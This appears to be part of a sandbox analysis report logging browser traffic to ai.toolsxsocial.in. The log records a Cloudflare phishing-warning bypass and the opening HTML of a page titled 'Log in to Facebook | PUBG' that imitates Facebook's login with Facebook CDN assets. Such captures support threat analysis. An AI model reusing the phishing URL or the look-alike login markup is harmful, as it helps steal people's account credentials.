2025-02-21 23:54:37 UTC	1369	IN	Data Raw: 3a 23 36 32 61 31 64 38 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 33 39 35 39 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 69 6d 70 6f 72 74 61 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 64 32 34 32 36 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 3a 68 6f 76 65 72 2c 23 Data Ascii: :#62a1d8;border:1px solid #163959;color:#fff}#cf-wrapper .cf-btn-danger,#cf-wrapper .cf-btn-error,#cf-wrapper .cf-btn-important{background-color:#bd2426;border-color:transparent;color:#fff}#cf-wrapper .cf-btn-danger:hover,#cf-wrapper .cf-btn-error:hover,#
2025-02-21 23:54:37 UTC	1369	IN	Data Raw: 61 63 65 3a 6e 6f 77 72 61 70 7d 23 63 66 2d 77 72 61 70 70 65 72 20 69 6e 70 75 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 65 6c 65 63 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 65 78 74 61 72 65 61 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 39 39 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 34 30 34 30 34 30 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 36 36 36 37 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 34 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e Data Ascii: ace:nowrap}#cf-wrapper input,#cf-wrapper select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!importan
2025-02-21 23:54:37 UTC	1369	IN	Data Raw: 3a 23 34 30 34 30 34 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 3a 37 2e 35 70 78 20 31 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 3a 65 6d 70 74 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 20 2e 63 66 2d 63 6c 6f 73 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 2e 37 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 70 61 64 64 69 6e Data Ascii: :#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;paddin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49721	35.190.80.1	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:38 UTC	543	OUT	OPTIONS /report/v4?s=0ycQxykmIltu9kVjuF0qZl6CnZddx2IhkqNilAXMgFLFowCTtVFfcnKGcolxhGBfzalbx3AVnuUaNsuXxCu7l3nFWSW%2B4BB9RU6IU3obdNayHXnDtzjtC88rkg9B%2F%2BSZGwgB4IM%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ai.toolsxsocial.in Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:38 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 21 Feb 2025 23:54:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49724	35.190.80.1	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:38 UTC	482	OUT	POST /report/v4?s=0ycQxykmIltu9kVjuF0qZl6CnZddx2IhkqNilAXMgFLFowCTtVFfcnKGcolxhGBfzalbx3AVnuUaNsuXxCu7l3nFWSW%2B4BB9RU6IU3obdNayHXnDtzjtC88rkg9B%2F%2BSZGwgB4IM%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 413 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:38 UTC	413	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 33 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 69 2e 74 6f 6f 6c 73 78 73 6f 63 69 61 6c 2e Data Ascii: [{"age":3,"body":{"elapsed_time":1338,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":403,"type":"http.error"},"type":"network-error","url":"https://ai.toolsxsocial.
2025-02-21 23:54:39 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 21 Feb 2025 23:54:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49725	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:38 UTC	655	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ai.toolsxsocial.in/cdn-cgi/styles/cf.errors.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:39 UTC	409	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:54:39 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Tue, 18 Feb 2025 13:52:20 GMT ETag: "67b49094-1c4" Server: cloudflare CF-RAY: 915aa9aa48c53344-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 22 Feb 2025 01:54:39 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2025-02-21 23:54:39 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49728	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:40 UTC	617	OUT	GET /favicon.ico HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:40 UTC	904	IN	HTTP/1.1 404 Not Found Date: Fri, 21 Feb 2025 23:54:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 06 Feb 2025 07:50:09 GMT Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j%2FjHd%2Bj%2BPD2qlwAoyVJzXMHtMd14CUUCX2hMYYm6CBB8Gb2huLn1HEak1Xb5jQNOpCZ%2BplpOd8OhIJzntLQYkANmJ9fYtpD%2F5PNvFLD6RJt97T7ivQ%2BFdCrMGV2oPOq2SVzf6Ys%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa9b14f5a42a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1704&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1195&delivery_rate=1620421&cwnd=233&unsent_bytes=0&cid=c18f2d305d9b69a4&ts=310&x=0"
2025-02-21 23:54:40 UTC	465	IN	Data Raw: 62 34 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b4d<!doctype html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2025-02-21 23:54:40 UTC	1369	IN	Data Raw: 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a Data Ascii: Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}
2025-02-21 23:54:40 UTC	1066	IN	Data Raw: 64 3d 22 4d 35 30 34 20 32 35 36 63 30 20 31 33 36 2e 39 39 37 2d 31 31 31 2e 30 34 33 20 32 34 38 2d 32 34 38 20 32 34 38 53 38 20 33 39 32 2e 39 39 37 20 38 20 32 35 36 43 38 20 31 31 39 2e 30 38 33 20 31 31 39 2e 30 34 33 20 38 20 32 35 36 20 38 73 32 34 38 20 31 31 31 2e 30 38 33 20 32 34 38 20 32 34 38 7a 4d 32 36 32 2e 36 35 35 20 39 30 63 2d 35 34 2e 34 39 37 20 30 2d 38 39 2e 32 35 35 20 32 32 2e 39 35 37 2d 31 31 36 2e 35 34 39 20 36 33 2e 37 35 38 2d 33 2e 35 33 36 20 35 2e 32 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 Data Ascii: d="M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.6
2025-02-21 23:54:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49729	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:40 UTC	388	OUT	GET /cdn-cgi/images/icon-exclamation.png?1376755637 HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:40 UTC	409	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:54:40 GMT Content-Type: image/png Content-Length: 452 Connection: close Last-Modified: Tue, 18 Feb 2025 13:52:20 GMT ETag: "67b49094-1c4" Server: cloudflare CF-RAY: 915aa9b1497519aa-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Sat, 22 Feb 2025 01:54:40 GMT Cache-Control: max-age=7200 Cache-Control: public Accept-Ranges: bytes
2025-02-21 23:54:40 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 36 00 00 00 36 08 03 00 00 00 bb 9b 9a ef 00 00 00 33 50 4c 54 45 c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f c1 45 3f ab b2 22 ed 00 00 00 11 74 52 4e 53 00 40 30 10 60 8f bf ff ef 7f af 9f df 20 50 cf 70 60 82 c8 9b 00 00 01 2f 49 44 41 54 78 01 bd d3 05 d2 b4 30 10 06 e1 8e 6c de c1 36 dc ff b2 9f 2b 95 c9 12 7e 79 4a 91 46 22 b8 c2 8b c8 80 94 6f 45 1f ac 4c 81 33 f2 ac 03 5b 1e 95 69 32 b5 94 6e 98 57 79 4a c4 91 8a 7a 26 9a 82 a9 af a4 46 95 f5 d0 1a fb 95 c7 62 bf b2 f2 e9 70 7e e3 a7 a0 df ee 7c 3a 74 35 f1 6d b3 b3 99 66 70 af 69 f2 2f 65 ef c7 fa 99 25 de 25 1b c9 b4 f0 6e d2 50 a6 ed fb 65 Data Ascii: PNGIHDR663PLTEE?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?E?"tRNS@0` Pp`/IDATx0l6+~yJF"oEL3[i2nWyJz&Fbp~\|:t5mfpi/e%%nPe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49734	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:52 UTC	850	OUT	GET /cdn-cgi/phish-bypass?atok=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-%2Fadvance-server%2FK3bKKZbZXX HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:53 UTC	505	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 21 Feb 2025 23:54:53 GMT Content-Type: text/html Content-Length: 167 Connection: close Set-Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX; Domain=ai.toolsxsocial.in; Path=/; Max-Age=86400 Cache-Control: private, no-cache Location: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Server: cloudflare CF-RAY: 915aaa01d9048c1e-EWR X-Frame-Options: DENY X-Content-Type-Options: nosniff
2025-02-21 23:54:53 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49735	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:53 UTC	867	OUT	GET /advance-server/K3bKKZbZXX HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
2025-02-21 23:54:53 UTC	817	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zh3nnmw9oceZgvvobFdt4Ik0AbriA8vk3U99P3vRe%2FMfx8aGSbCYzHqGT1ZeRNco7cOsvC9v43RNqI12be9WHOTyqm8aXC7LK%2Fo9qApQ0hgaD%2F3v6jJF%2FBuyqP4VBPGITdDuLYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aaa028f2fef9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2417&min_rtt=2406&rtt_var=924&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1445&delivery_rate=1170809&cwnd=242&unsent_bytes=0&cid=c5128c1366070ad5&ts=405&x=0"
2025-02-21 23:54:53 UTC	552	IN	Data Raw: 32 62 65 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 4c 6f 67 20 69 6e 20 74 6f 20 46 61 63 65 62 6f 6f 6b 20 7c 20 50 55 42 47 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 6a 2f 72 2f 67 42 37 36 6b 4a 58 50 59 4a 56 2e 70 6e 67 22 20 72 65 6c 3d Data Ascii: 2bee<!DOCTYPE html><html lang="en"><head> <title>Log in to Facebook \| PUBG</title> <meta name="viewport" content="user-scalable=no,initial-scale=1,maximum-scale=1" /> <link href="https://static.xx.fbcdn.net/rsrc.php/v3/yj/r/gB76kJXPYJV.png" rel=
2025-02-21 23:54:53 UTC	1369	IN	Data Raw: 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 4a 78 73 35 7a 43 5a 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 54 2f 6c 2f 30 2c 63 72 6f 73 73 2f 79 67 6b 58 67 56 66 31 44 6f 5a 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 4a 52 47 72 7a 6f 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 2f 3e 0a 20 20 3c Data Ascii: data-bootloader-hash="Jxs5zCZ" crossorigin="anonymous" /> <link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yT/l/0,cross/ygkXgVf1DoZ.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="JRGrzod" crossorigin="anonymous" /> <
